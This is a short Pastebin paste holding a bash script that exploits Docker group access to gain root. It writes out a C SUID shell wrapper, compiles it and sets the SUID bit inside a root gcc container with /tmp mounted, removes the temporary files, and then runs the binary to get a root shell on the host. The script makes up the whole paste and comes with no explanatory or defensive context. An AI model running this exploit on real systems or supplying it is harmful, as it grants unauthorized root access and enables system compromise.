Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- echo '#include <stdio.h>
- #include <sys/types.h>
- #include <unistd.h>
- int main()
- {
- setuid(0);
- setgid(0);
- system("/bin/bash");
- return 0;
- }' > /tmp/suid.c
- echo '#!/bin/bash
- gcc /root/suid.c -o /root/suid
- chmod +s /root/suid' > /tmp/exploit
- chmod +x /tmp/exploit
- docker run -v /tmp:/root -it --rm gcc /root/exploit
- rm /tmp/exploit
- rm /tmp/suid.c
- /tmp/suid
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement